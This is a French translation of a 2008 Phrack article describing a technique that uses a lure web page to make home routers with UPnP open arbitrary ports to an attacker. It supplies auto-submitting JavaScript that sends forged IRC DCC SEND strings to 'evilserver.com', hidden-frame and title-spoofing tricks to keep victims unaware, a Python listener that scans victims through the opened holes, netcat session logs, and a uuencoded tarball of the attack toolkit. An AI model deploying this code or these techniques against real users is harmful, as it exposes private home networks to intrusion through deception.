==Phrack Inc.== Volume 0x0c, Issue 0x41, Phile #0x05 of 0x0f |=-----------------=[ Clawing holes in NAT with UPnP ]=------------------=| |=-----------------------------------------------------------------------=| |=---=[ max_packetz@felinemenace.org ]=----=| |=--------------------------=[ April 12th 2008 ]-=-----------------------=| |=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=| --[ Sommaire 1 - Introduction / Survol du NAT et d'UPnP. 2 - Caractéristiques de l'implémentation 2.1 - Caractéristique de l'implémentation : Protocole IRC : DCC 2.2 - Caractéristique de l'implémentation : Java 2.3 - Caractéristique de l'implémentation : HTML 3 - Tout rassembler avec Python. 4 - Références 5 - Annexe A: Code source --[ 1 - Introduction / Survol du NAT et d'UPnP. Bienvenue cher lecteur, ce papier est une courte tentative pour documenter une technique concrète sur laquelle nous avons travaillé. Bien que notre technique utilise des technologies très similaires à beaucoup d'autres attaques, nous ne l'avons encore jamais vue documentée de cette façon avant, ni vu une implémentation concrète dans la nature. Ce papier est donc conçu pour répondre à ça. Notre technique permet à l'attaquant (nous) de forger un site web qui, une fois visité, fera que la victime forwardera par inadvertance n'importe quel port de notre choix à travers son NAT, nous permettant de nous connecter directement à la victime, à l'intérieur de son réseau privé, via UPnP. Avant de se lancer dans les caractéristiques de la technique, ou les détails de notre implémentation, vous devez d'abord être familier d'une paire de concepts explicites. Ce sont : "Network Address Translation" (NAT) et "Universal Plug and Play" (UPnP). Heureusement, la plupart des gens qui liront ce papier sont déjà familier avec le NAT. Pour ceux qui ne le sont pas, le NAT permet, en gros, de partager une seule adresse IP entre plusieurs machines sans qu'il n'y ait de conflit. Ceci veut dire qu'un seul ordinateur ou routeur agit comme une passerelle pour plusieurs autres ordinateurs. Pour en apprendre plus sur les caractéristiques du NAT, lisez la RFC dans la bibliographie [1]. Pour un utilisateur typique chez lui, le NAT est implémenté par son modem/routeur ADSL et est assez intégré. Les adresses IP internes sont assignées par un serveur DHCP sur le routeur et les utilisateurs internes n'ont quasiment jamais conscience de leur adresse IP externe. C'est une idée fausse répandue que le NAT fourni une couche de sécurité impénétrable pour les hôtes internes. Ceci ajoute souvent des erreurs dans la politique de sécurité des machines internes, et un trou béant pour qui tente de pénétrer la coquille externe. Il est très courant de trouver des partages smb accessibles publiquement ou des services pauvrement à jour, ... en utilisant notre technique. L'autre concept avec lequel vous devez être familier avant de rentrer dans les sections (que nous espérons) intéressantes de ce papier est l'"Universal Plug and Play", UPnP. Universal Plug and Play (UPnP) est un ensemble de protocoles qui ont été fusionnés par le forum UPnP. Le thème général commun à tous ces protocoles est qu'ils permettent une implémentation intégrée des communications réseaux et de données. La fonctionnalité majeure de cette suite de protocoles qui nous intéresse dans le cadre de ce papier et la fonctionnalité de NAT punching. Cette fonctionnalité décrit comment une passerelle peut analyser divers protocoles qui la traversent pour forwarder des ports à travers le NAT vers les serveurs internes. Elle est conçue pour permettre à n'importe quel hôte derrière le NAT de requérir qu'un port soit ouvert à l'extérieur et que tout le trafic reçu sur ce port soit forwardé vers la machine interne, créant un nouveau canal de communication. Cette fonctionnalité permet à des protocoles tel que FTP/SIP/etc de fonctionner. Dans ce cas, la passerelle responsable du NAT va analyser le flux des protocoles à la recherche de requête de création d'un nouveau canal de communication. Elle va alors chercher et remplacer les valeurs de ports et d'IP quand elles passent par le câble, les remplaçant par leur valeur externe. L'autre bout de la transaction sait donc qu'il doit se connecter sur les ports et adresses externes, au lieu des valeurs internes. Il est courant, actuellement, pour la plupart des modems/ADSL et routeurs domestiques d'être fournis avec UPnP activé par défaut. Le noyau Linux supporte aussi UPnP avec ipfilter, cependant, ce n'est pas une option de configuration par défaut et n'est vraiment actif que quand on utilise une box Linux comme passerelle. C'est cette fonctionnalité que nous sommes capables d'exploiter pour créer un forward de notre choix, nous permettant d'accéder à n'importe quel port sur un hôte derrière un NAT, sans se soucier de la présence du NAT. --[ 2 - Caractéristiques de l'implémentation Dans ce chapitre, nous allons tenter de fournir un survol détaillé de notre technique elle-même et de discuter des détails de notre implémentation. Nous allons tenter d'expliquer les critères de sélection des protocoles et technologies que nous avons utilisés pour implémenter chacun des composants de notre technique. Pour ceux d'entre vous qui sont familier des technologies associées à notre implémentation, ce survol devrait être suffisant pour vous permettre d'implémenter notre technique vous-même. Cependant, nous aimerions faire remarquer que notre technique peut être implémentée par d'autres moyens, et notre implémentation n'est qu'un exemple. Nous n'allons discuter que des technologies utilisées par felinemenace dans le reste de ce papier. La prémisse de base de notre technique est d'encapsuler un protocole (spécifiquement l'un des protocoles qui est géré par la fonctionnalité NAT punching de UPnP) dans un deuxième protocole de transport. De cette façon, quand la passerelle voit le trafic, elle interprétera la chaîne du protocole encapsulé comme une requête d'ouverture de port, et agira en conséquent. Notre implémentation commence par convaincre la victime de visiter un site web de notre choix. Ça peut être fait par social engineering, cross site scription, phishing, baiting [NDT-1], publicité, etc. Une fois que la victime a accédé à notre site, nous avons suffisamment de contrôle sur son navigateur pour le rediriger vers n'importe quel port de notre choix, ou n'importe quelle adresse. Cette flexibilité nous permet d'utiliser quasiment n'importe quel protocole à encapsuler dans la session web. Le comportement susmentionné rend (du point de vue des auteurs), l'utilisation de HTML/Javascript, comme mécanisme de livraison, un choix très efficace. Quand la victime accède au site web, un faux site (un appât) est affiché. C'est fait pour ne pas encourager l'utilisateur à fermer la page immédiatement pendant le chargement. À partir de là, l'attaquant utilise l'une des méthodes de redirection de navigateur, réponse HTTP, redirection javascript, etc pour rediriger le navigateur de la victime vers un port choisi par l'attaquant. Nous avons choisi javascript puisqu'une grande partie de la technique était déjà écrite en javascript. C'est documenté dans la section sur le HTML du papier. L'attaquant choisi un port qui correspond à un protocole particulier qui effectue un transfert de fichier en dehors du protocole de la communication initiale. Dans notre cas, nous avons choisi la fonctionnalité DCC du protocole IRC [3]. Notre raison pour ce choix étaient simplement que nous étions déjà familier avec lui, cependant, n'importe quel protocole qui répond au critère est bon. L'attaquant force alors (en utilisant le JavaScript qui tourne sur l'ordinateur de la victime à cette étape) à envoyer du texte à partir du protocole approprié (DCC dans notre cas) vers l'attaquant. Si la passerelle responsable du NAT a la fonctionnalité UPnP activée, le périphérique ouvrira alors un trou (comme mentionné plus haut) et autorisera l'attaquant à accéder directement aux machines derrière le NAT. En redirigeant plusieurs fois, un attaquant est capable d'ouvrir une plage de ports, pour scanner l'hôte, ou se connecter à n'importe quel service qui tourne sur la machine locale. Nous en avons fournis une implémentation pour que vous l'utilisiez, mais évidemment, l'écrire vous-même le rendra moins détectable / plus puissante. Maintenant que nous avons regardé la technique de plus haut, nous allons plonger dans chacune des technologies qui, regroupées, font marcher notre technique. Pour résumer cette section, les technologies suivantes sont couvertes par ce papier : o Protocole IRC : DCC o Une applet Java. o HTML avec JavaScript. o Du code Python pour ./scriptkiddifier le processus. Le reste de ce papier a été divisé en un parcours des entrées et sorties de chacune des technologies mentionnées, et de la manière dont on peut les manipuler à nos fins. Chacune des sections suivantes va décrire une seule technologie et la manière de l'utiliser. --[ 2.1 - Caractéristique de l'implémentation : Protocole IRC : DCC La première étape de notre implémentation est de trouver un protocole qui requiert une nouvelle socket de connexion pour communiquer directement avec l'utilisateur terminal. Puisque, comme on l'a déjà mentionné, il existe une multitude de protocoles qui répondent à notre critère, pour ce papier, nous allons en choisir un en particulier, RFC-1459 [3] Internet Relay Chat. Puisque je suis sûr que la plupart des lecteurs de ce papier sont déjà intimement familiers avec IRC, je ne donnerai qu'une brève réduction aux aspects du protocole qui nous intéressent dans le cadre de ce papier. En gros, IRC requiert que chaque client se connecte à un serveur central, typiquement sur le port 6667. Quand un client veut envoyer un message à un autre, il envoie le message au serveur en utilisant la socket de connexion existante qu'il a déjà ouvert. Le serveur transfert alors le message au client destinataire. Si deux des utilisateurs d'un serveur IRC veulent communiquer sans que le serveur ne soit responsable du transfert des messages (lire : échanger des 0day top secrets pour juarez [NDT-2]) ils peuvent établir un canal de communication séparé. C'est accompli en utilisant un sous-ensemble du protocole IRC connu sous le nom de DCC (Direct Client to Client). DCC se déroule ainsi : un client envoie une requête pour établir une connexion hors bande [NDT-3] avec un autre client du serveur IRC. Cette requête contient à la fois l'IP et le port sur lesquels la communication aura lieu. Le deuxième client n'a alors plus qu'à faire une connexion TCP avec ces valeurs, et les utiliser pour les communications suivantes. Ce qui se résume en gros à la ligne suivante : "\x01DCC SEND fake.exe 2130706433 1337\x01\r\n\r\n" C'est le format d'une commande DCC SEND. Comme vous pouvez le voir, la commande entière est entourée de caractères \x01. Elle contien les mots "DCC SEND" suivi du nom du fichier qui va être envoyé. Après ça, on trouve l'adresse IP de l'hôte qui fait la requête, en format numérique décimal, et enfin, le port sur laquelle la transaction aura lieu. Le format de l'adresse IP est expliqué plus complètement par optiklenz dans Keen Veracity 6 [5]. Cet aspect du protocole ne fonctionnera clairement pas dans un environnement NAT (sans UPnP). Après avoir reçu l'adresse IP et les informations de port, l'hôte qui se connecte échouera en tentant de se connecter à une adresse locale (l'adresse de la machine dans le NAT), et n'arrivera jamais à joindre la bonne destination. C'est pour cette raison que les passerelles où UPnP est activé doivent analyser le trafic IRC à la recherche de commandes DCC. Quand elles sont détectées, la passerelle va remplacer l'adresse IP de la requête avec sa propre adresse. Quand la connexion est reçue sur le port spécifié, la passerelle va la forwarder dans le NAT vers l'hôte original. C'est ce comportement que, en tant qu'attaquant, nous pouvons exploiter à notre avantage. Si, en tant qu'attaquant, nous forçons la victime à envoyer une requête DCC SEND forgée (comme celle ci-dessus) vers le port 6667, il y a beaucoup de chance que la passerelle ouvrira le port spécifié dans la requête, si UPnP est activé. Le truc cool de ce protocole, c'est qu'il n'y a pas d'adresse IP spécifiée pour la connexion. Ça veut dire qu'une fois que la requête a pris place, une connexion depuis n'importe où au monde sera complètement valide. Plusieurs implémentations d'UPnP ne font même pas attention que l'adresse IP spécifiée dans la commande DCC SEND corresponde à celle de la victime. Dans ce cas, l'étape décrite jusqu'ici est suffisante pour ouvrir un trou béant dans la passerelle et se connecter à la victime. Cependant, dans la plupart des cas, nous devons d'abord établir l'adresse IP interne de la machine de la victime. Heureusement, il y a une façon facile de le faire à partir du web, que nous allons décrire dans la section suivante. --[ 2.2 - Caractéristique de l'implémentation : Java La manière la plus facile d'identifier l'adresse IP de la victime depuis le web est d'utiliser une applet java. Les applets sont capables de créer un nouvel objet Socket et d'y appeler la méthode "getLocalAddress()" pour obtenir l'adresse locale de l'hôte (évidement). Le code java suivant l'illustre : String s = (new Socket(s2, i)).getLocalAddress().getHostAddress(); Heureusement pour nous, il existe déjà une chouette applet Java pré-packagée appelée MyAddress [4] qui fait tout ceci et peut être téléchargée directement sur leur site web. L'applet supporte une variété de manière d'accéder à l'IP locale une fois obtenue. Une manière est de spécifier le paramètre "mayscript" dans la balise applet; ceci a pour conséquence d'appeler une fonction javascript (MyAddress() par défaut) une fois que l'IP est obtenue. C'est pratique, puisqu'on peut bloquer effectivement jusqu'à avoir reçu cette donnée nécessaire. Le code HTML suivant démontre l'utilisation de cette applet et de la fonction de rappel MyAddress(). En plus (comme mentionné plus haut dans la section sur le protocole DCC), puisque l'adresse IP locale doit être entrée dans le format "defunct", nous avons fourni la fonction defunct() qui traduit le format décimal vers defunct : --[ 2.3 - Caractéristique de l'implémentation : HTML Maintenant qu'on peut créer une chaîne DCC SEND propre, le prochain problème à venir est : comment forcer le client à envoyer sans le savoir la chaîne encapsulée vers un serveur compromis, et donc, bidouiller sa passerelle pour qu'elle forwarde un port que nous spécifions. Les formulaires HTML soumis automatiquement via javascript sont très utile pour ça. Puisque les chaînes DCC (et plein d'autres protocoles que vous pourriez choisir pour cette technique) requièrent plusieurs lignes de communication pour déclencher la fonctionnalité NAT traversal d'UPnP, nous affectons "multipart/form-data" à l'attribut "enctype". Ceci nous permet de soumettre des caractères de retour chariot et de nouvelle ligne dans le champ form. La balise form suivante montre comment spécifier le enctype :
Pour automatiser la soumission de notre chaîne DCC (la payload), nous utilisons javascript pour soumettre le formulaire (après que l'adresse IP internet a été obtenue) via la méthode submit() du formulaire, comme suit : function doevil(ip, port) { var frm = document.forms['evilform']; if(frm == null) return; frm.payload.value = unescape("%01") + "DCC SEND evil.txt " + ip + " " + port + + unescape("%01%0a%0d"); try { frm.submit(); } catch(err) { return; } } Comme vous pouvez le voir, nous avons utilisé le javascript pour construire la chaîne de la payload à cause des caractères de fin de ligne et de retour nécessaires (en fonction de l'implémentation de la passerelle). Le code HTML suivant montre l'état du code jusqu'à présent. Il inclut l'utilisation de l'applet MyAddress mentionnée dans la section précédente. (Untitled)
En liant simplement netcat au port 6667 de evilserver.com, ce code est suffisant pour se connecter au port "port" une fois que la victime a regardée la page web, comme l'extrait suivant le montre : -[max@evilserver:~/simple]$ nc -lp 6667 POST / HTTP/1.1 Host: evilserver.com:6667 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://evilserver.com/simpletest.html Content-Type: multipart/form-data; boundary=--------------------------- 162151946613101846322123277333 Content-Length: 213 -----------------------------162151946613101846322123277333 Content-Disposition: form-data; name="payload" DCC SEND evil.txt 16909060 1337NaN -----------------------------162151946613101846322123277333-- Vous pouvez voir que la victime s'est connectée à notre page (simpletest.html) et que la page a automatiquement soumis notre chaîne DCC SEND. En réutilisant netcat, nous pouvons nous connecter à l'ip et au port ci-dessus (utiliser le format defunct marche bien avec nc) : -[max@evilserver:~/simple]$ nc 16909060 1337 muahahaha what are you doing here?! Voici à quoi ça ressemble du côté de la victime : -[victim@QQ:~]$ nc -lp 1337 muahahaha what are you doing here?! Évidement, il y a quelques désavantages significatifs à utiliser cet exemple simplifié ... Qui désire s'asseoir et surveiller manuellement ses connexions et ensuite se connecter manuellement à ses victimes ? Et que se passerait-il si vous vouliez vous connecter à plusieurs ports ? Est-ce que ça ne va pas mettre la puce à l'oreille de la victime (ou au moins l'ennuyer vigoureusement) s'il n'y a rien d'autre qu'une page suspecte à regarder ? Et si on mettait quelque chose d'intéressant ? Comme par exemple un article .... Le sujet des mécanismes d'écoute et de connexion est géré dans la prochaine section de ce chapitre. Le problème de contenu et la capacité à forwarder plusieurs ports par visites sont traités en créant une page supplémentaire (evil.html) qui contient deux frame HTML, l'une est cachée et l'autre est visible. Pendant que la victime est distraite par le contenu de la frame visible (goodframe), la frame cachée (evilframe) charge une deuxième page (evilform.html) pour pouvoir poster (autant de fois qu'on le veut) vers evilserver. Le code pourrait ressembler à quelque chose comme ceci (notez qu'on a gardé le code MyAddress dans evil.html; ça n'aurait aucun sens de le charger plusieurs fois) : evil.html : (Untitled) Pendant le chargement, evilform va accéder aux variables "port" et "ip" de evil.html (celles de son parent) pour construire la chaîne DCC de payload et ensuite poster : evilform.html: (Untitled)
Notez que evilform.html est aussi en train de placer deux variables forms additionnelles (avec quelques balises pour rendre plus faciles nos regexp plus tard) pour que le listener puisse noter les ports et ip internes de la victime. Puisque ces variables ne sont pas dans une chaîne de protocole (comme la chaîne de DCC send), la passerelle ne les remplacera pas avec les valeurs externes. Mais malheureusement, le code ci-dessus introduit une situation de compétition (race condition) : vous ne pouvez pas savoir si evilform.html a eu assez de temps pour charger et poster avant d'avoir été rechargé. Nous avions d'abord pensé que ça pouvait être évité si le service qui écoute sur le port 6667 de evilserver.com répondait avec une page invoquant une fonction de rappel dans la page parente, de la manière suivante : Malheureusement, les navigateurs modernes limitent l'accès au données à travers les frames si le système, domaine ou port de la page est différent. Parce que notre post est nécessairement vers un autre port (6667 au lieu de 80), le code ci-dessus génère toujours une exception. Notre solution a été de pallier à ce problème en mettant un délai assez grand après que evilform.html a commencé à se charger, pour être raisonnablement sûr que la page a fini son post automatique avant de la recharger. Puisque javascript n'a pas de fonction sleep() (que nous pourrions trouver), nous avions utilisé window.setTimeout(fn, t) : evil.html: ... function MyAddress(i) {ip = defunct(i); opennextport();} ... function formposting() { window.setTimeout('opennextport()', 1000) } function opennextport() { if(!ports || cp < 0 || cp > ports.length) return; port = ports[cp++]; document.getElementById('evilframe').src = 'evilform.html'; } ... evilform.html: ... function doevil(ip, port) { var frm = document.forms['evilform']; if(ip == null || port == null || frm == null) return; frm.internal_ip.value = 'internal_ip:'+ip; frm.internal_port.value = 'internal_port:'+port; frm.payload.value = unescape("%01") + "DCC SEND evil.txt " + ip + " " + port + + unescape("%01%0a%0d");; window.parent.formposting(); try { frm.submit(); } catch(err) { return; } } ... Il reste encore un problème artistique avec notre code : le titre de evil.html ne correspondra pas à celui de notre page d'appât. Si la page d'appât est hébergée via le même système sur le même domaine et port que evil.html, alors, on peut facilement y remédier avec ce petit morceau de code : function settitle() { document.title = window.frames['goodframe'].document.title; } ... Cependant, comme on l'a déjà mentionné, si la page d'appât est hébergée sur un serveur différent utilisant un système différent, accède au titre de document de goodframe, ça générera une exception. dans tous les cas, si la victime a suivi un lien internet, le titre sera obsolète. Notre solution a été de d'entourer l'affectation par un try / catch et de mettre un timeout pour rappeler settitle toutes les 350 milisecondes : function settitle() { try{ document.title =window.frames['goodframe'].document.title;} catch(err) {return;} window.setTimeout('settitle()', 350); } Voici le code final : evil.html: (Untitled) evilform.html: (Untitled)
Voilà [NDT-4]. Maintenant, vous pouvez avoir une paire de pages qui peuvent être utilisées pour ouvrir des ports pour se connecter à des boxes derrière des routeurs NAT avec UPnP activé. La section suivante détaille les composants finaux de notre implémentation : le listener. --[ 2.4 - Caractéristique de l'implémentation : Listener Éventuellement le composant le plus trivial de notre implémentation, c'est le listener. Ce service va rester sur evilserver.com et écouter le port de notre choix (6667 pour IRC/DCC et notre code ci-dessus). Quand la victime navigue sur evil.html et poste par inadvertance evilform.html, le listener sera responsable de la réception des connexions. Ça peut être trivialement implémenté en python en utilisant le module "SocketServer". Voici un petit exemple pour ça : class RequestHandler(SocketServer.StreamRequestHandler): def handle(self): while(True): try: line = self.rfile.readline() except: return # begin listening for new connexions. tcpserver = SocketServer.TCPServer(('localhost', port),RequestHandler) tcpserver.serve_forever() L'implémentation du listener fournie dans ce papier va aussi tenter de se connecter vers la victime à travers la passerelle, scanner effectivement les ports de la victime, derrière le NAT. Voici le code qui le fait : def scan(self, ip, port): sock = socket.socket() sock.settimeout(1) ret = sock.connect_ex((ip,int(port))) == 0 sock.close() return ret Le code du listener (whiskers.py) peut être généré avec le script inclus en annexe A. La sortie de whiskers est la suivante : -[max@evilserver:~]$ python whiskers.py *********************************************************** Sat, 12 Apr 2008 01:13:17 GMT: Starting server.... Sat, 12 Apr 2008 01:13:17 GMT: Server started: 1.2.3.1337 listening on 6667 Sat, 12 Apr 2008 01:13:39 GMT: [+] Opened hole for port: 135 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:39 GMT: [+] ---- Internal port: 135 on ip: 192.168.0.100 - closed. Sat, 12 Apr 2008 01:13:40 GMT: [+] Opened hole for port: 137 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:40 GMT: [+] ---- Internal port: 137 on ip: 192.168.0.100 - closed. Sat, 12 Apr 2008 01:13:42 GMT: [+] Opened hole for port: 138 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:42 GMT: [+] ---- Internal port: 138 on ip: 192.168.0.100 - closed. Sat, 12 Apr 2008 01:13:43 GMT: [+] Opened hole for port: 139 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:44 GMT: [+] ---- Internal port: 139 on ip: 192.168.0.100 - closed. Sat, 12 Apr 2008 01:13:45 GMT: [+] Opened hole for port: 22 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:45 GMT: [+] ---- Internal port: 22 on ip: 192.168.0.100 - open. Sat, 12 Apr 2008 01:13:53 GMT: Server stopped. Comme vous le voyez, la victime a un service qui tourne sur le port 22. --[ 3 - Tout rassembler avec Python. Puisque c'est assez encombrant de se souvenir du bit à changer où et quand, du protocole que l'on doit utiliser et comment, nous avons fourni un script python extensible qui génère deux pages web (avec des options pour leur donner un nom un peut plus inoffensif), MyAddress.class et un listener basé sur les paramètres spécifiés. Tapez ./claw.py -h pour l'aide. --[ 4 - References [1] Network Address Translation :: http://www.faqs.org/rfcs/rfc1631.html [2] UPnP NAT Traversal [3] Khaled would be proud :: http://www.mirc.co.uk/help/rfc1459.txt [4] MyAddress Java Applet :: http://reglos.de/myaddress/MyAddress.html [5] Defunct IP address representation http://www.mirrors.wiretapped.net/security/info/textfiles/keen-veracity/ .. kv6.txt --[ 5 - Annexe A: Code source Le code source utilisé dans ce papier a été écrit par arachne. Nous avons vraiment apprécié le travail qu'elle a fait dans ce projet. begin 644 claw.tgz M'XL(`,`+`$@``]1:_U?;QK+OK]9?L18AEH(M!`D),3B!``FT@%5PBF<__)T_ M&[]7MBVO+[VMAX\?*'C0UY\_+%BQ_LC>.`%WG!^%PV_><7==)J/+K/$#V]/NIKVZ>CB\J1[+CI"MRW; MVM"UPZ/WE[C]3;^/;OS`T]OZ_=A/OWE)"J/4FT*?N`/UX&RV/QHE7II:P\!- M4_UW[?*X>]'K.CVBH-^-C]MQVVE'[4%;UTZ[YQ_R)V,OB'7M;/]S'^N_ZUZ> M]+X`_!QKO_OX`:/W;I!ZVIV7#*+4SV:`V)J7)/UHFF&,S5MI-@)`&WF#Z>UC M\"1=`ARYF?L8"A(W8IJZMYZ!61U=-]M:33_TTSAP9ZG(QIY\*OSP)DHF;N9' MH<"(GV#;]\*-X\`?\@-+B`,W%`-/W/G>O3<2]WXV9LS66*2X&8YUK<9,&SI? M1!3JIE;S;P16%W7(1L?Z-7!F$)-N0WV9>/.FM!$H M1B?E71Y"AK3GOE>#&8"HG*G068*;,G-Q%!N=9IBHUDDHM@+ MQ2V(W[LSH8VC`/3N?%=\=$('@NE!"HJ`F'C#L1OZZ80E.8I@C"`)/O$/E&"F M`]`$^9.+`W%X<"`NC\X/1>"'I`;ATJR)B*,TLS3M\.3RX'3_Y.SHHBWW.HQ& M'A%RN@<@P63<+/,F<4:T1]XD"M.,A,"*&;BI/]1(H$,_)I8C,@=B:.J<.S2# M/":EO;IB$#U@QV.?J(KS_1Z6_WBY_^&HK:VFX@IN"!M(K\75A!P$5Y>OFE9C M0*U6HQ5I2$)+4IA'`,$FT7WJT4KXYX=^YN>\P1!J-?#N#K]!@(=2>"RA0DT" MEC,-T]@;^C>^-[*TFJN6(H:G#W[@N\E,KLE*(ZE)LX[=61"YHQVY3.@-A_!D M0AY-F9O#[AFHPVJ`ZB43/TUI=V"$\1>YF1O*(D=:E^WQ$G;=&D#>?M8G8ZO5 MR")<&4!(ZI*G6\6G%`U,1GHBS(&7O1_#R`@SMV3XF#?@:5!Y@;R,2VC->_B. MT%IC(*?CZ%Z:(<4G`%MTI0>0`6Z/Q7`,Z=5JQ_A?;B M1_?.O1PF/BR0^?=YHO?@#:<9\UIF$UY,5>K$K M%PM\\`5),IYDL#"C.4M_RLTCR1$1IKWQ?*N)_U[1?]OTW^NF>"HV-XF]6`QI MW5K-H0SS=TF'9[Q\^?*5A6'+H<"61<,HJ-6Z"`[139O"Q<(<@O"\ME-$&1?! M;SI`@A2S:,J1#)8H(K"7R#5RPBD9"W`:)-YO'NWTCM03#A//A=L626J'?%I, MHL3CH$8#33OZO'_FG,KX`/LA1QE%$]A.0&8;SY^_$M@'!3EH&`(6<)+) MC-Q$QF&$=;$J#)6HFZ*4%BHW2`MTYSWXF;%ARKR&39!3]X&2&BYR!(!IAS(\ M9SE'/O9D/`#2=.*%D%F*_W.]+Z:XIDB\;)J$%"%=.-R0+T28ND2,"R:+'DA3DK*H>FR"L%[,A[&'IQ7N-8'_ARE"01 M)N`1D96I&S<6IT9.I8$7&K20*=Z(S3F2WHLB,7'#67FKN8=1%EZ)QDU6GBO` M?$BQ$)X&4XT2"[]'M.UVC7\K@E0J4%O$*"\HUN[,TQED&(4JJ,&.$K!#6KAJ M3+B^:EQ#'$00*F12=Q"I/UG,#1`%2J+VLLF-(ADTA"`*HV6)@C8`6YTA#,(G MT]@?3J-IJM4>;6ICOHB[P.'&M6)#+$-I5-)``XQP_@G<))A593-R)R&E%ZTV M_ZW`?OR[M`X-D@:BIDNIGHR&^`&/%,"%H;?&5(/*T,RU6JY=TCVX8\P.ZJC6 M'5=2*_!Q9+`PHJ+''5#]5[BL?"[(]$(#N)9CS2APL3(M"2)TS6@0\F5P3:`A*9[-,IEZ38Y\B M`=1I,%+^,*MNF%:5E4N")#!W'A4B17R%5JLM M($9EQ(CSZW**`XD(@&O=H.(P]/5UW:1G+78LU&5\`,JRN(TGJ.C=.6$*^@59 M&68Y8FL:GZ^*9$>QFS+6@.I8!&#YE$MI#XN2=(OTQ>>-&]'O4V79[QLX(-XT M18CXW.0Z@5U(3[V\*%3S&(.-.:_9"7E'%OO^3167SY0P*CC9/*!2Z*_1:A:3 MZC#%',0S.CQ1DPRJ:C2#3NELRGQ*WJAP\.3.L#9JB.$8651NVDMW5#ZJU+1" M$E'G-"I#")DY4F(-$9/5RCB)C`(O^5^NC*":L5.H2E91A4/B"#\2!FQ?GN;- M'.,"00!^<:P0I1+SPY1*IG`9#IOY/G*1EW9BT%::O"$S-Q0_&8Z&0R/'YF2O MDGFJ"D/)G^(]<6\RDE=1A3^2(LCQ80Z4EUG4'UH1MM-`?=-X9$[TA&JY'?$_ MM:LTJPL4E05 M7*MQ%Z,C.`PF5`]9*#%&!#78LF3)*W&E\#654<@-!E$4&(0LJ=;((/QP2H*E MG%6;@'258]0JV7`LYRA"$VHTD>0EC:KV8(S3$"5H;$RLVR2:QCA-F-6U'BVD MA+ILJ>4K*9.8K[!\@256\:=K5.WK^[M9-,_\^:9\?-K]8-TG?D:6MW8MNCAQ MPV>HJ\5^PG8B5JG.@LO3B$]I%:+-,O_F(EE)MX6?.%%B64)5M`03KDBN65:Q M:2+&&/HPB.#4>E.GWH!N7K%]4=O**#%1XHAS/S<6+1G1'.'ZG,P=TSP4TBU+O?6#3J>$^98[/28E2-FG1I]S"&FL9"=@VS,31Q M.Z8.&R<=ZL19RPL9+@([YYP"N=!38PIA'94-9+W6T:E[0P>_-0__'"Q?V:JF9;B`SZVL?G< M*OU!X=LVNZ+*:XRNMDW,&";.X4JNTD^EGKI\=_W>3=HH,.!.XQ-T;<=I9^$#JR_,GSOLHCV$`.,@IC,^6Y>8Y;BI*J M(7(2WL'&1Z4C70NZ^Q;22;.HPF1HJY#-JZ5.0=U:++,(;W6N]+E'<_.31L&G/'*HES`E-S2K0%YT$<9!LPHC+YV#E!3F M`+4LLTHE@$S2V20.J,G?X9V-\#'DP,G?7)43;I1,V M_)5><'0>O7QC7^KHDYEJJ>NPS5FJ^JK^*!MW=%L78\^_'6;]DF]E=F+=]!BG3-S/DW-"9S)=&9ZB1)HH#= MTA&B(QH-'(O6U\6.`45^\T0ZI69*UI"]:W(>LBF2XLA78I2WU&``#2N-`S\S M*+WG3P)J+5B!%]YF8X(AL1FLU8Z](_S=`/^MK9E\8!E))MRKH.6W-JZ?G;G9 M&+YS;VQNO6SZ3#%O4/CQPFZI!TBOF=B_>;M+1%95),1&7QN854)5G%QP=6EB M__XWF<^NL-7HC30]M;U,>Z=!0:*1<>1*,9=>`0"CKZW#AT*&X6 MP,5BV7%L"SM^V$%X3T9>TJ83_`YTG=SZ89L>D.>I%W#2MPO.=.&/*K?@LP,> ME_FYK,[D&LKO)=%%ZH4O2.JE6Z+^55]P:`Y\4AC%PM#AZGQM>?<'RZ^3G%AL M'`!EY5ES_\/HF`N_T`9'K;D/1B0O@XI@#N-L3F3]-PD=-0IS(.M%9,B;V0TV M%IC=W%W)X/)LD]\SD:HWLXA\0FBL M<3-.35$YIT"6>LI3-"MH9^Z#L9ODNRQ\=$>&2_$;;<-*IX.)3\%55$-@OBWQ M^Q++KUB\$G5U11)\%<)J("/GU_GT)B(W:MSK\*^2U2N(R[KL%/W3JDG*G,T? M2U3A4N$LBG78F.R6P`V!3E0]F`BG/OD&P$VR=5JP166KKI&?<']$XO!8NDA) MB7GZK8!8(QV=C$+_"U2(RT=T)/"O45(ZSVD4MPNS>7/?=;_[N?MQT^?QYTCY M5T11\0U2AJB>CY-B=,GU^:67W'G)\B^2Z#,F?E$Y/Z8C0Z)ZXXP&&=!MT0K7 M5T=6_H\/Q5_YW"KDSR`/?2KLAYL;^;V721_(;+XPFV(YGFU+3,;;>/D'>!*3 M\;;_$(T0<1YG!/70\&W>%OH?A\P;9\ M$T(R.4H!',_[:PR@F=0_P:7`2?DS*G5'[YPN3WXY`FS#?K&]]>JEEC,S\H)R M5S57-3.2]O_SYN/1\;'$_0G:T%EC,UZ'LOGPA;A17V:R#]VH?;6'= MI2N7EJ;5#$6_*717_TZS37U[-F^OYR14D\DL^/?3Q1WD9\KJC&("GR<+-5-P MR?=-G3V#`%:_S];1[V-$&N[W^:,PA#*=#]!$NK2T60+F(-D9G+<.^>P4T7=B M;I9+0)T-Z6T>B1I'[*R?^O_R4$]5Y%Y1J3P/\UD>H?1KJ)>U:]T$TW3,8N?W M8849MH7\6DTO=$G]E""ZE1\E)9X[''NC'=DC($'`,6ZYS5^R"2:D\6<91(MP MJ4DE&_P#T/@VUX(21RYM,/KL/__IYI)FP+-"=\QTA^,?1)C,AO3;', MM?EX;\Q''E"JG7ZC''VMRPPRFE0Q3!5^N$DH-U841^WO]6"*%@M7M;*6W^#3 M+0Q.8>?ME[[W0-&Q27&898 M1"L5%IKL[@()!FSHU.C-'C+HG=\!J*>6,M;B7K68+S,4'=0QE=S2QQK2N\H; 